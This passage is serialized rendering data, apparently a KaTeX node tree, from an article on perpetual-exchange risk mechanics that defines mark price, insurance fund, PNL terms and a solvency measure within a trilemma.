},[246,2145,2183],[4027],{"type":31,"value":2283},{"type":25,"tag":216,"props":4029,"children":4031},{"style":4030},"top:-3.05em;",[4032,4036],{"type":25,"tag":216,"props":4033,"children":4035},{"className":4034,"style":4017},[319],[],{"type":25,"tag":216,"props":4037,"children":4038},{},[4039],{"type":25,"tag":216,"props":4040,"children":4044},{"className":4041},[1835,4042,4043],"op-symbol","large-op",[4045],{"type":31,"value":4046},"∑",{"type":25,"tag":216,"props":4048,"children":4050},{"className":4049},[408],[4051],{"type":31,"value":411},{"type":25,"tag":216,"props":4053,"children":4055},{"className":4054},[304],[4056],{"type":25,"tag":216,"props":4057,"children":4060},{"className":4058,"style":4059},[309],"height:1.2777em;",[4061],{"type":25,"tag":216,"props":4062,"children":4063},{},[],{"type":25,"tag":216,"props":4065,"children":4067},{"className":4066,"style":1865},[257],[],{"type":25,"tag":216,"props":4069,"children":4071},{"className":4070},[246],[4072,4077],{"type":25,"tag":216,"props":4073,"children":4075},{"className":4074},[246,2145],[4076],{"type":31,"value":2535},{"type":25,"tag":216,"props":4078,"children":4080},{"className":4079},[2153],[4081],{"type":25,"tag":216,"props":4082,"children":4084},{"className":4083},[298,299],[4085,4114],{"type":25,"tag":216,"props":4086,"children":4088},{"className":4087},[304],[4089,4109],{"type":25,"tag":216,"props":4090,"children":4092},{"className":4091,"style":2264},[309],[4093],{"type":25,"tag":216,"props":4094,"children":4095},{"style":2268},[4096,4100],{"type":25,"tag":216,"props":4097,"children":4099},{"className":4098,"style":2175},[319],[],{"type":25,"tag":216,"props":4101,"children":4103},{"className":4102},[2180,2181,2182,2183],[4104],{"type":25,"tag":216,"props":4105,"children":4107},{"className":4106},[246,2145,2183],[4108],{"type":31,"value":2283},{"type":25,"tag":216,"props":4110,"children":4112},{"className":4111},[408],[4113],{"type":31,"value":411},{"type":25,"tag":216,"props":4115,"children":4117},{"className":4116},[304],[4118],{"type":25,"tag":216,"props":4119,"children":4121},{"className":4120,"style":2203},[309],[4122],{"type":25,"tag":216,"props":4123,"children":4124},{},[],{"type":25,"tag":216,"props":4126,"children":4127},{"style":2729},[4128,4132],{"type":25,"tag":216,"props":4129,"children":4131},{"className":4130,"style":2132},[319],[],{"type":25,"tag":216,"props":4133,"children":4135},{"className":4134},[246],[4136,4140,4144,4149,4153,4216,4220,4225,4230,4235,4292,4297,4301,4305,4310],{"type":25,"tag":216,"props":4137,"children":4139},{"className":4138},[246],[],{"type":25,"tag":216,"props":4141,"children":4143},{"className":4142,"style":258},[257],[],{"type":25,"tag":216,"props":4145,"children":4147},{"className":4146},[263],[4148],{"type":31,"value":266},{"type":25,"tag":216,"props":4150,"children":4152},{"className":4151,"style":258},[257],[],{"type":25,"tag":216,"props":4154,"children":4156},{"className":4155},[1835,3995],[4157],{"type":25,"tag":216,"props":4158,"children":4160},{"className":4159},[298,299],[4161,4205],{"type":25,"tag":216,"props":4162,"children":4164},{"className":4163},[304],[4165,4200],{"type":25,"tag":216,"props":4166,"children":4168},{"className":4167,"style":4008},[309],[4169,4185],{"type":25,"tag":216,"props":4170,"children":4171},{"style":4012},[4172,4176],{"type":25,"tag":216,"props":4173,"children":4175},{"className":4174,"style":4017},[319],[],{"type":25,"tag":216,"props":4177,"children":4179},{"className":4178},[2180,2181,2182,2183],[4180],{"type":25,"tag":216,"props":4181,"children":4183},{"className":4182},[246,2145,2183],[4184],{"type":31,"value":2283},{"type":25,"tag":216,"props":4186,"children":4187},{"style":4030},[4188,4192],{"type":25,"tag":216,"props":4189,"children":4191},{"className":4190,"style":4017},[319],[],{"type":25,"tag":216,"props":4193,"children":4194},{},[4195],{"type":25,"tag":216,"props":4196,"children":4198},{"className":4197},[1835,4042,4043],[4199],{"type":31,"value":4046},{"type":25,"tag":216,"props":4201,"children":4203},{"className":4202},[408],[4204],{"type":31,"value":411},{"type":25,"tag":216,"props":4206,"children":4208},{"className":4207},[304],[4209],{"type":25,"tag":216,"props":4210,"children":4212},{"className":4211,"style":4059},[309],[4213],{"type":25,"tag":216,"props":4214,"children":4215},{},[],{"type":25,"tag":216,"props":4217,"children":4219},{"className":4218,"style":1865},[257],[],{"type":25,"tag":216,"props":4221,"children":4223},{"className":4222},[1835],[4224],{"type":31,"value":1838},{"type":25,"tag":216,"props":4226,"children":4228},{"className":4227},[287],[4229],{"type":31,"value":1844},{"type":25,"tag":216,"props":4231,"children":4233},{"className":4232},[246],[4234],{"type":31,"value":3372},{"type":25,"tag":216,"props":4236,"children":4238},{"className":4237},[246],[4239,4244],{"type":25,"tag":216,"props":4240,"children":4242},{"className":4241},[246,2145],[4243],{"type":31,"value":2393},{"type":25,"tag":216,"props":4245,"children":4247},{"className":4246},[2153],[4248],{"type":25,"tag":216,"props":4249,"children":4251},{"className":4250},[298,299],[4252,4281],{"type":25,"tag":216,"props":4253,"children":4255},{"className":4254},[304],[4256,4276],{"type":25,"tag":216,"props":4257,"children":4259},{"className":4258,"style":2264},[309],[4260],{"type":25,"tag":216,"props":4261,"children":4262},{"style":2268},[4263,4267],{"type":25,"tag":216,"props":4264,"children":4266},{"className":4265,"style":2175},[319],[],{"type":25,"tag":216,"props":4268,"children":4270},{"className":4269},[2180,2181,2182,2183],[4271],{"type":25,"tag":216,"props":4272,"children":4274},{"className":4273},[246,2145,2183],[4275],{"type":31,"value":2283},{"type":25,"tag":216,"props":4277,"children":4279},{"className":4278},[408],[4280],{"type":31,"value":411},{"type":25,"tag":216,"props":4282,"children":4284},{"className":4283},[304],[4285],{"type":25,"tag":216,"props":4286,"children":4288},{"className":4287,"style":2203},[309],[4289],{"type":25,"tag":216,"props":4290,"children":4291},{},[],{"type":25,"tag":216,"props":4293,"children":4295},{"className":4294},[1858],[4296],{"type":31,"value":1861},{"type":25,"tag":216,"props":4298,"children":4300},{"className":4299,"style":1865},[257],[],{"type":25,"tag":216,"props":4302,"children":4304},{"className":4303,"style":1865},[257],[],{"type":25,"tag":216,"props":4306,"children":4308},{"className":4307},[246],[4309],{"type":31,"value":1876},{"type":25,"tag":216,"props":4311,"children":4313},{"className":4312},[427],[4314],{"type":31,"value":1882},{"type":25,"tag":216,"props":4316,"children":4317},{"style":2801},[4318,4322],{"type":25,"tag":216,"props":4319,"children":4321},{"className":4320,"style":2132},[319],[],{"type":25,"tag":216,"props":4323,"children":4325},{"className":4324},[246],[4326,4330,4334,4339,4343,4406,4410],{"type":25,"tag":216,"props":4327,"children":4329},{"className":4328},[246],[],{"type":25,"tag":216,"props":4331,"children":4333},{"className":4332,"style":258},[257],[],{"type":25,"tag":216,"props":4335,"children":4337},{"className":4336},[263],[4338],{"type":31,"value":266},{"type":25,"tag":216,"props":4340,"children":4342},{"className":4341,"style":258},[257],[],{"type":25,"tag":216,"props":4344,"children":4346},{"className":4345},[1835,3995],[4347],{"type":25,"tag":216,"props":4348,"children":4350},{"className":4349},[298,299],[4351,4395],{"type":25,"tag":216,"props":4352,"children":4354},{"className":4353},[304],[4355,4390],{"type":25,"tag":216,"props":4356,"children":4358},{"className":4357,"style":4008},[309],[4359,4375],{"type":25,"tag":216,"props":4360,"children":4361},{"style":4012},[4362,4366],{"type":25,"tag":216,"props":4363,"children":4365},{"className":4364,"style":4017},[319],[],{"type":25,"tag":216,"props":4367,"children":4369},{"className":4368},[2180,2181,2182,2183],[4370],{"type":25,"tag":216,"props":4371,"children":4373},{"className":4372},[246,2145,2183],[4374],{"type":31,"value":2283},{"type":25,"tag":216,"props":4376,"children":4377},{"style":4030},[4378,4382],{"type":25,"tag":216,"props":4379,"children":4381},{"className":4380,"style":4017},[319],[],{"type":25,"tag":216,"props":4383,"children":4384},{},[4385],{"type":25,"tag":216,"props":4386,"children":4388},{"className":4387},[1835,4042,4043],[4389],{"type":31,"value":4046},{"type":25,"tag":216,"props":4391,"children":4393},{"className":4392},[408],[4394],{"type":31,"value":411},{"type":25,"tag":216,"props":4396,"children":4398},{"className":4397},[304],[4399],{"type":25,"tag":216,"props":4400,"children":4402},{"className":4401,"style":4059},[309],[4403],{"type":25,"tag":216,"props":4404,"children":4405},{},[],{"type":25,"tag":216,"props":4407,"children":4409},{"className":4408,"style":1865},[257],[],{"type":25,"tag":216,"props":4411,"children":4413},{"className":4412},[246],[4414,4419],{"type":25,"tag":216,"props":4415,"children":4417},{"className":4416,"style":2461},[246,2145],[4418],{"type":31,"value":2464},{"type":25,"tag":216,"props":4420,"children":4422},{"className":4421},[2153],[4423],{"type":25,"tag":216,"props":4424,"children":4426},{"className":4425},[298,299],[4427,4456],{"type":25,"tag":216,"props":4428,"children":4430},{"className":4429},[304],[4431,4451],{"type":25,"tag":216,"props":4432,"children":4434},{"className":4433,"style":2264},[309],[4435],{"type":25,"tag":216,"props":4436,"children":4437},{"style":2483},[4438,4442],{"type":25,"tag":216,"props":4439,"children":4441},{"className":4440,"style":2175},[319],[],{"type":25,"tag":216,"props":4443,"children":4445},{"className":4444},[2180,2181,2182,2183],[4446],{"type":25,"tag":216,"props":4447,"children":4449},{"className":4448},[246,2145,2183],[4450],{"type":31,"value":2283},{"type":25,"tag":216,"props":4452,"children":4454},{"className":4453},[408],[4455],{"type":31,"value":411},{"type":25,"tag":216,"props":4457,"children":4459},{"className":4458},[304],[4460],{"type":25,"tag":216,"props":4461,"children":4463},{"className":4462,"style":2203},[309],[4464],{"type":25,"tag":216,"props":4465,"children":4466},{},[],{"type":25,"tag":216,"props":4468,"children":4469},{"style":2873},[4470,4474],{"type":25,"tag":216,"props":4471,"children":4473},{"className":4472,"style":2132},[319],[],{"type":25,"tag":216,"props":4475,"children":4477},{"className":4476},[246],[4478,4482,4486,4491,4495,4500,4505,4562,4566,4571,4575,4580,4584,4589,4593,4650,4655,4659,4663,4668],{"type":25,"tag":216,"props":4479,"children":4481},{"className":4480},[246],[],{"type":25,"tag":216,"props":4483,"children":4485},{"className":4484,"style":258},[257],[],{"type":25,"tag":216,"props":4487,"children":4489},{"className":4488},[263],[4490],{"type":31,"value":266},{"type":25,"tag":216,"props":4492,"children":4494},{"className":4493,"style":258},[257],[],{"type":25,"tag":216,"props":4496,"children":4498},{"className":4497},[1835],[4499],{"type":31,"value":1838},{"type":25,"tag":216,"props":4501,"children":4503},{"className":4502},[287],[4504],{"type":31,"value":1844},{"type":25,"tag":216,"props":4506,"children":4508},{"className":4507},[246],[4509,4514],{"type":25,"tag":216,"props":4510,"children":4512},{"className":4511,"style":2746},[246,2145],[4513],{"type":31,"value":2749},{"type":25,"tag":216,"props":4515,"children":4517},{"className":4516},[2153],[4518],{"type":25,"tag":216,"props":4519,"children":4521},{"className":4520},[298,299],[4522,4551],{"type":25,"tag":216,"props":4523,"children":4525},{"className":4524},[304],[4526,4546],{"type":25,"tag":216,"props":4527,"children":4529},{"className":4528,"style":2692},[309],[4530],{"type":25,"tag":216,"props":4531,"children":4532},{"style":2768},[4533,4537],{"type":25,"tag":216,"props":4534,"children":4536},{"className":4535,"style":2175},[319],[],{"type":25,"tag":216,"props":4538,"children":4540},{"className":4539},[2180,2181,2182,2183],[4541],{"type":25,"tag":216,"props":4542,"children":4544},{"className":4543,"style":2146},[246,2145,2183],[4545],{"type":31,"value":177},{"type":25,"tag":216,"props":4547,"children":4549},{"className":4548},[408],[4550],{"type":31,"value":411},{"type":25,"tag":216,"props":4552,"children":4554},{"className":4553},[304],[4555],{"type":25,"tag":216,"props":4556,"children":4558},{"className":4557,"style":2203},[309],[4559],{"type":25,"tag":216,"props":4560,"children":4561},{},[],{"type":25,"tag":216,"props":4563,"children":4565},{"className":4564,"style":335},[257],[],{"type":25,"tag":216,"props":4567,"children":4569},{"className":4568},[340],[4570],{"type":31,"value":3372},{"type":25,"tag":216,"props":4572,"children":4574},{"className":4573,"style":335},[257],[],{"type":25,"tag":216,"props":4576,"children":4578},{"className":4577,"style":2223},[246,2145],[4579],{"type":31,"value":2226},{"type":25,"tag":216,"props":4581,"children":4583},{"className":4582,"style":335},[257],[],{"type":25,"tag":216,"props":4585,"children":4587},{"className":4586},[340],[4588],{"type":31,"value":3372},{"type":25,"tag":216,"props":4590,"children":4592},{"className":4591,"style":335},[257],[],{"type":25,"tag":216,"props":4594,"children":4596},{"className":4595},[246],[4597,4602],{"type":25,"tag":216,"props":4598,"children":4600},{"className":4599,"style":2673},[246,2145],[4601],{"type":31,"value":2676},{"type":25,"tag":216,"props":4603,"children":4605},{"className":4604},[2153],[4606],{"type":25,"tag":216,"props":4607,"children":4609},{"className":4608},[298,299],[4610,4639],{"type":25,"tag":216,"props":4611,"children":4613},{"className":4612},[304],[4614,4634],{"type":25,"tag":216,"props":4615,"children":4617},{"className":4616,"style":2692},[309],[4618],{"type":25,"tag":216,"props":4619,"children":4620},{"style":2696},[4621,4625],{"type":25,"tag":216,"props":4622,"children":4624},{"className":4623,"style":2175},[319],[],{"type":25,"tag":216,"props":4626,"children":4628},{"className":4627},[2180,2181,2182,2183],[4629],{"type":25,"tag":216,"props":4630,"children":4632},{"className":4631,"style":2146},[246,2145,2183],[4633],{"type":31,"value":177},{"type":25,"tag":216,"props":4635,"children":4637},{"className":4636},[408],[4638],{"type":31,"value":411},{"type":25,"tag":216,"props":4640,"children":4642},{"className":4641},[304],[4643],{"type":25,"tag":216,"props":4644,"children":4646},{"className":4645,"style":2203},[309],[4647],{"type":25,"tag":216,"props":4648,"children":4649},{},[],{"type":25,"tag":216,"props":4651,"children":4653},{"className":4652},[1858],[4654],{"type":31,"value":1861},{"type":25,"tag":216,"props":4656,"children":4658},{"className":4657,"style":1865},[257],[],{"type":25,"tag":216,"props":4660,"children":4662},{"className":4661,"style":1865},[257],[],{"type":25,"tag":216,"props":4664,"children":4666},{"className":4665},[246],[4667],{"type":31,"value":1876},{"type":25,"tag":216,"props":4669,"children":4671},{"className":4670},[427],[4672],{"type":31,"value":1882},{"type":25,"tag":216,"props":4674,"children":4676},{"className":4675},[408],[4677],{"type":31,"value":411},{"type":25,"tag":216,"props":4679,"children":4681},{"className":4680},[304],[4682],{"type":25,"tag":216,"props":4683,"children":4685},{"className":4684,"style":2957},[309],[4686],{"type":25,"tag":216,"props":4687,"children":4688},{},[],{"type":25,"tag":38,"props":4690,"children":4691},{},[4692,4693,4772,4774,4800,4802,4880,4882,4959],{"type":31,"value":1844},{"type":25,"tag":82,"props":4694,"children":4697},{"className":4695},[212,4696],"math-inline",[4698],{"type":25,"tag":216,"props":4699,"children":4701},{"className":4700},[224],[4702],{"type":25,"tag":216,"props":4703,"children":4705},{"className":4704,"ariaHidden":230},[229],[4706],{"type":25,"tag":216,"props":4707,"children":4709},{"className":4708},[235],[4710,4715],{"type":25,"tag":216,"props":4711,"children":4714},{"className":4712,"style":4713},[240],"height:0.8333em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":4716,"children":4718},{"className":4717},[246],[4719,4724],{"type":25,"tag":216,"props":4720,"children":4722},{"className":4721,"style":2146},[246,2145],[4723],{"type":31,"value":2149},{"type":25,"tag":216,"props":4725,"children":4727},{"className":4726},[2153],[4728],{"type":25,"tag":216,"props":4729,"children":4731},{"className":4730},[298,299],[4732,4761],{"type":25,"tag":216,"props":4733,"children":4735},{"className":4734},[304],[4736,4756],{"type":25,"tag":216,"props":4737,"children":4739},{"className":4738,"style":2166},[309],[4740],{"type":25,"tag":216,"props":4741,"children":4742},{"style":2170},[4743,4747],{"type":25,"tag":216,"props":4744,"children":4746},{"className":4745,"style":2175},[319],[],{"type":25,"tag":216,"props":4748,"children":4750},{"className":4749},[2180,2181,2182,2183],[4751],{"type":25,"tag":216,"props":4752,"children":4754},{"className":4753},[246,2145,2183],[4755],{"type":31,"value":2190},{"type":25,"tag":216,"props":4757,"children":4759},{"className":4758},[408],[4760],{"type":31,"value":411},{"type":25,"tag":216,"props":4762,"children":4764},{"className":4763},[304],[4765],{"type":25,"tag":216,"props":4766,"children":4768},{"className":4767,"style":2203},[309],[4769],{"type":25,"tag":216,"props":4770,"children":4771},{},[],{"type":31,"value":4773},": mark price from different sources; ",{"type":25,"tag":82,"props":4775,"children":4777},{"className":4776},[212,4696],[4778],{"type":25,"tag":216,"props":4779,"children":4781},{"className":4780},[224],[4782],{"type":25,"tag":216,"props":4783,"children":4785},{"className":4784,"ariaHidden":230},[229],[4786],{"type":25,"tag":216,"props":4787,"children":4789},{"className":4788},[235],[4790,4795],{"type":25,"tag":216,"props":4791,"children":4794},{"className":4792,"style":4793},[240],"height:0.6833em;",[],{"type":25,"tag":216,"props":4796,"children":4798},{"className":4797,"style":2223},[246,2145],[4799],{"type":31,"value":2226},{"type":31,"value":4801},": insurance fund, roughly the 5M on testnet HL; ",{"type":25,"tag":82,"props":4803,"children":4805},{"className":4804},[212,4696],[4806],{"type":25,"tag":216,"props":4807,"children":4809},{"className":4808},[224],[4810],{"type":25,"tag":216,"props":4811,"children":4813},{"className":4812,"ariaHidden":230},[229],[4814],{"type":25,"tag":216,"props":4815,"children":4817},{"className":4816},[235],[4818,4823],{"type":25,"tag":216,"props":4819,"children":4822},{"className":4820,"style":4821},[240],"height:0.5806em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":4824,"children":4826},{"className":4825},[246],[4827,4832],{"type":25,"tag":216,"props":4828,"children":4830},{"className":4829,"style":2319},[246,2145],[4831],{"type":31,"value":2322},{"type":25,"tag":216,"props":4833,"children":4835},{"className":4834},[2153],[4836],{"type":25,"tag":216,"props":4837,"children":4839},{"className":4838},[298,299],[4840,4869],{"type":25,"tag":216,"props":4841,"children":4843},{"className":4842},[304],[4844,4864],{"type":25,"tag":216,"props":4845,"children":4847},{"className":4846,"style":2264},[309],[4848],{"type":25,"tag":216,"props":4849,"children":4850},{"style":2341},[4851,4855],{"type":25,"tag":216,"props":4852,"children":4854},{"className":4853,"style":2175},[319],[],{"type":25,"tag":216,"props":4856,"children":4858},{"className":4857},[2180,2181,2182,2183],[4859],{"type":25,"tag":216,"props":4860,"children":4862},{"className":4861},[246,2145,2183],[4863],{"type":31,"value":2283},{"type":25,"tag":216,"props":4865,"children":4867},{"className":4866},[408],[4868],{"type":31,"value":411},{"type":25,"tag":216,"props":4870,"children":4872},{"className":4871},[304],[4873],{"type":25,"tag":216,"props":4874,"children":4876},{"className":4875,"style":2203},[309],[4877],{"type":25,"tag":216,"props":4878,"children":4879},{},[],{"type":31,"value":4881}," is PNL for longs, negated for shorts; ",{"type":25,"tag":82,"props":4883,"children":4885},{"className":4884},[212,4696],[4886],{"type":25,"tag":216,"props":4887,"children":4889},{"className":4888},[224],[4890],{"type":25,"tag":216,"props":4891,"children":4893},{"className":4892,"ariaHidden":230},[229],[4894],{"type":25,"tag":216,"props":4895,"children":4897},{"className":4896},[235],[4898,4902],{"type":25,"tag":216,"props":4899,"children":4901},{"className":4900,"style":4821},[240],[],{"type":25,"tag":216,"props":4903,"children":4905},{"className":4904},[246],[4906,4911],{"type":25,"tag":216,"props":4907,"children":4909},{"className":4908,"style":2461},[246,2145],[4910],{"type":31,"value":2464},{"type":25,"tag":216,"props":4912,"children":4914},{"className":4913},[2153],[4915],{"type":25,"tag":216,"props":4916,"children":4918},{"className":4917},[298,299],[4919,4948],{"type":25,"tag":216,"props":4920,"children":4922},{"className":4921},[304],[4923,4943],{"type":25,"tag":216,"props":4924,"children":4926},{"className":4925,"style":2264},[309],[4927],{"type":25,"tag":216,"props":4928,"children":4929},{"style":2483},[4930,4934],{"type":25,"tag":216,"props":4931,"children":4933},{"className":4932,"style":2175},[319],[],{"type":25,"tag":216,"props":4935,"children":4937},{"className":4936},[2180,2181,2182,2183],[4938],{"type":25,"tag":216,"props":4939,"children":4941},{"className":4940},[246,2145,2183],[4942],{"type":31,"value":2283},{"type":25,"tag":216,"props":4944,"children":4946},{"className":4945},[408],[4947],{"type":31,"value":411},{"type":25,"tag":216,"props":4949,"children":4951},{"className":4950},[304],[4952],{"type":25,"tag":216,"props":4953,"children":4955},{"className":4954,"style":2203},[309],[4956],{"type":25,"tag":216,"props":4957,"children":4958},{},[],{"type":31,"value":4960}," is the positive part of PNL.)",{"type":25,"tag":38,"props":4962,"children":4963},{},[4964],{"type":31,"value":4965},"And let's make the trilemma definitions concrete:",{"type":25,"tag":2033,"props":4967,"children":4968},{},[4969,5454,6024],{"type":25,"tag":2037,"props":4970,"children":4971},{},[4972,4976,4978,5238,5240,5294,5296,5399,5401,5452],{"type":25,"tag":64,"props":4973,"children":4974},{},[4975],{"type":31,"value":2044},{"type":31,"value":4977}," = ",{"type":25,"tag":82,"props":4979,"children":4981},{"className":4980},[212,4696],[4982],{"type":25,"tag":216,"props":4983,"children":4985},{"className":4984},[224],[4986],{"type":25,"tag":216,"props":4987,"children":4989},{"className":4988,"ariaHidden":230},[229],[4990,5017],{"type":25,"tag":216,"props":4991,"children":4993},{"className":4992},[235],[4994,4999,5004,5008,5013],{"type":25,"tag":216,"props":4995,"children":4998},{"className":4996,"style":4997},[240],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":25,"tag":216,"props":5000,"children":5002},{"className":5001},[246],[5003],{"type":31,"value":184},{"type":25,"tag":216,"props":5005,"children":5007},{"className":5006,"style":335},[257],[],{"type":25,"tag":216,"props":5009,"children":5011},{"className":5010},[340],[5012],{"type":31,"value":3372},{"type":25,"tag":216,"props":5014,"children":5016},{"className":5015,"style":335},[257],[],{"type":25,"tag":216,"props":5018,"children":5020},{"className":5019},[235],[5021,5026],{"type":25,"tag":216,"props":5022,"children":5025},{"className":5023,"style":5024},[240],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":25,"tag":216,"props":5027,"children":5029},{"className":5028},[246],[5030,5034,5234],{"type":25,"tag":216,"props":5031,"children":5033},{"className":5032},[287,288],[],{"type":25,"tag":216,"props":5035,"children":5037},{"className":5036},[293],[5038],{"type":25,"tag":216,"props":5039,"children":5041},{"className":5040},[298,299],[5042,5222],{"type":25,"tag":216,"props":5043,"children":5045},{"className":5044},[304],[5046,5217],{"type":25,"tag":216,"props":5047,"children":5050},{"className":5048,"style":5049},[309],"height:0.8884em;",[5051,5130,5141],{"type":25,"tag":216,"props":5052,"children":5054},{"style":5053},"top:-2.655em;",[5055,5059],{"type":25,"tag":216,"props":5056,"children":5058},{"className":5057,"style":320},[319],[],{"type":25,"tag":216,"props":5060,"children":5062},{"className":5061},[2180,2181,2182,2183],[5063],{"type":25,"tag":216,"props":5064,"children":5066},{"className":5065},[246,2183],[5067],{"type":25,"tag":216,"props":5068,"children":5070},{"className":5069},[246,2183],[5071,5076],{"type":25,"tag":216,"props":5072,"children":5074},{"className":5073,"style":2746},[246,2145,2183],[5075],{"type":31,"value":2749},{"type":25,"tag":216,"props":5077,"children":5079},{"className":5078},[2153],[5080],{"type":25,"tag":216,"props":5081,"children":5083},{"className":5082},[298,299],[5084,5118],{"type":25,"tag":216,"props":5085,"children":5087},{"className":5086},[304],[5088,5113],{"type":25,"tag":216,"props":5089,"children":5092},{"className":5090,"style":5091},[309],"height:0.3448em;",[5093],{"type":25,"tag":216,"props":5094,"children":5096},{"style":5095},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[5097,5102],{"type":25,"tag":216,"props":5098,"children":5101},{"className":5099,"style":5100},[319],"height:2.5em;",[],{"type":25,"tag":216,"props":5103,"children":5107},{"className":5104},[2180,5105,5106,2183],"reset-size3","size1",[5108],{"type":25,"tag":216,"props":5109,"children":5111},{"className":5110,"style":2146},[246,2145,2183],[5112],{"type":31,"value":177},{"type":25,"tag":216,"props":5114,"children":5116},{"className":5115},[408],[5117],{"type":31,"value":411},{"type":25,"tag":216,"props":5119,"children":5121},{"className":5120},[304],[5122],{"type":25,"tag":216,"props":5123,"children":5126},{"className":5124,"style":5125},[309],"height:0.1433em;",[5127],{"type":25,"tag":216,"props":5128,"children":5129},{},[],{"type":25,"tag":216,"props":5131,"children":5132},{"style":360},[5133,5137],{"type":25,"tag":216,"props":5134,"children":5136},{"className":5135,"style":320},[319],[],{"type":25,"tag":216,"props":5138,"children":5140},{"className":5139,"style":370},[369],[],{"type":25,"tag":216,"props":5142,"children":5144},{"style":5143},"top:-3.4101em;",[5145,5149],{"type":25,"tag":216,"props":5146,"children":5148},{"className":5147,"style":320},[319],[],{"type":25,"tag":216,"props":5150,"children":5152},{"className":5151},[2180,2181,2182,2183],[5153],{"type":25,"tag":216,"props":5154,"children":5156},{"className":5155},[246,2183],[5157],{"type":25,"tag":216,"props":5158,"children":5160},{"className":5159},[246,2183],[5161,5166],{"type":25,"tag":216,"props":5162,"children":5164},{"className":5163,"style":2890},[246,2145,2183],[5165],{"type":31,"value":2893},{"type":25,"tag":216,"props":5167,"children":5169},{"className":5168},[2153],[5170],{"type":25,"tag":216,"props":5171,"children":5173},{"className":5172},[298,299],[5174,5205],{"type":25,"tag":216,"props":5175,"children":5177},{"className":5176},[304],[5178,5200],{"type":25,"tag":216,"props":5179,"children":5182},{"className":5180,"style":5181},[309],"height:0.2963em;",[5183],{"type":25,"tag":216,"props":5184,"children":5186},{"style":5185},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[5187,5191],{"type":25,"tag":216,"props":5188,"children":5190},{"className":5189,"style":5100},[319],[],{"type":25,"tag":216,"props":5192,"children":5194},{"className":5193},[2180,5105,5106,2183],[5195],{"type":25,"tag":216,"props":5196,"children":5198},{"className":5197},[246,2145,2183],[5199],{"type":31,"value":2928},{"type":25,"tag":216,"props":5201,"children":5203},{"className":5202},[408],[5204],{"type":31,"value":411},{"type":25,"tag":216,"props":5206,"children":5208},{"className":5207},[304],[5209],{"type":25,"tag":216,"props":5210,"children":5213},{"className":5211,"style":5212},[309],"height:0.143em;",[5214],{"type":25,"tag":216,"props":5215,"children":5216},{},[],{"type":25,"tag":216,"props":5218,"children":5220},{"className":5219},[408],[5221],{"type":31,"value":411},{"type":25,"tag":216,"props":5223,"children":5225},{"className":5224},[304],[5226],{"type":25,"tag":216,"props":5227,"children":5230},{"className":5228,"style":5229},[309],"height:0.4453em;",[5231],{"type":25,"tag":216,"props":5232,"children":5233},{},[],{"type":25,"tag":216,"props":5235,"children":5237},{"className":5236},[427,288],[],{"type":31,"value":5239}," — how much of the total bad debt was actually covered. ",{"type":25,"tag":82,"props":5241,"children":5243},{"className":5242},[212,4696],[5244],{"type":25,"tag":216,"props":5245,"children":5247},{"className":5246},[224],[5248],{"type":25,"tag":216,"props":5249,"children":5251},{"className":5250,"ariaHidden":230},[229],[5252,5280],{"type":25,"tag":216,"props":5253,"children":5255},{"className":5254},[235],[5256,5260,5267,5271,5276],{"type":25,"tag":216,"props":5257,"children":5259},{"className":5258,"style":4793},[240],[],{"type":25,"tag":216,"props":5261,"children":5264},{"className":5262,"style":5263},[246,2145],"margin-right:0.05764em;",[5265],{"type":31,"value":5266},"S",{"type":25,"tag":216,"props":5268,"children":5270},{"className":5269,"style":258},[257],[],{"type":25,"tag":216,"props":5272,"children":5274},{"className":5273},[263],[5275],{"type":31,"value":266},{"type":25,"tag":216,"props":5277,"children":5279},{"className":5278,"style":258},[257],[],{"type":25,"tag":216,"props":5281,"children":5283},{"className":5282},[235],[5284,5289],{"type":25,"tag":216,"props":5285,"children":5288},{"className":5286,"style":5287},[240],"height:0.6444em;",[],{"type":25,"tag":216,"props":5290,"children":5292},{"className":5291},[246],[5293],{"type":31,"value":184},{"type":31,"value":5295}," means fully solvent (",{"type":25,"tag":82,"props":5297,"children":5299},{"className":5298},[212,4696],[5300],{"type":25,"tag":216,"props":5301,"children":5303},{"className":5302},[224],[5304],{"type":25,"tag":216,"props":5305,"children":5307},{"className":5306,"ariaHidden":230},[229],[5308,5386],{"type":25,"tag":216,"props":5309,"children":5311},{"className":5310},[235],[5312,5316,5373,5377,5382],{"type":25,"tag":216,"props":5313,"children":5315},{"className":5314,"style":4713},[240],[],{"type":25,"tag":216,"props":5317,"children":5319},{"className":5318},[246],[5320,5325],{"type":25,"tag":216,"props":5321,"children":5323},{"className":5322,"style":2890},[246,2145],[5324],{"type":31,"value":2893},{"type":25,"tag":216,"props":5326,"children":5328},{"className":5327},[2153],[5329],{"type":25,"tag":216,"props":5330,"children":5332},{"className":5331},[298,299],[5333,5362],{"type":25,"tag":216,"props":5334,"children":5336},{"className":5335},[304],[5337,5357],{"type":25,"tag":216,"props":5338,"children":5340},{"className":5339,"style":2909},[309],[5341],{"type":25,"tag":216,"props":5342,"children":5343},{"style":2913},[5344,5348],{"type":25,"tag":216,"props":5345,"children":5347},{"className":5346,"style":2175},[319],[],{"type":25,"tag":216,"props":5349,"children":5351},{"className":5350},[2180,2181,2182,2183],[5352],{"type":25,"tag":216,"props":5353,"children":5355},{"className":5354},[246,2145,2183],[5356],{"type":31,"value":2928},{"type":25,"tag":216,"props":5358,"children":5360},{"className":5359},[408],[5361],{"type":31,"value":411},{"type":25,"tag":216,"props":5363,"children":5365},{"className":5364},[304],[5366],{"type":25,"tag":216,"props":5367,"children":5369},{"className":5368,"style":2203},[309],[5370],{"type":25,"tag":216,"props":5371,"children":5372},{},[],{"type":25,"tag":216,"props":5374,"children":5376},{"className":5375,"style":258},[257],[],{"type":25,"tag":216,"props":5378,"children":5380},{"className":5379},[263],[5381],{"type":31,"value":266},{"type":25,"tag":216,"props":5383,"children":5385},{"className":5384,"style":258},[257],[],{"type":25,"tag":216,"props":5387,"children":5389},{"className":5388},[235],[5390,5394],{"type":25,"tag":216,"props":5391,"children":5393},{"className":5392,"style":5287},[240],[],{"type":25,"tag":216,"props":5395,"children":5397},{"className":5396},[246],[5398],{"type":31,"value":1876},{"type":31,"value":5400},"), 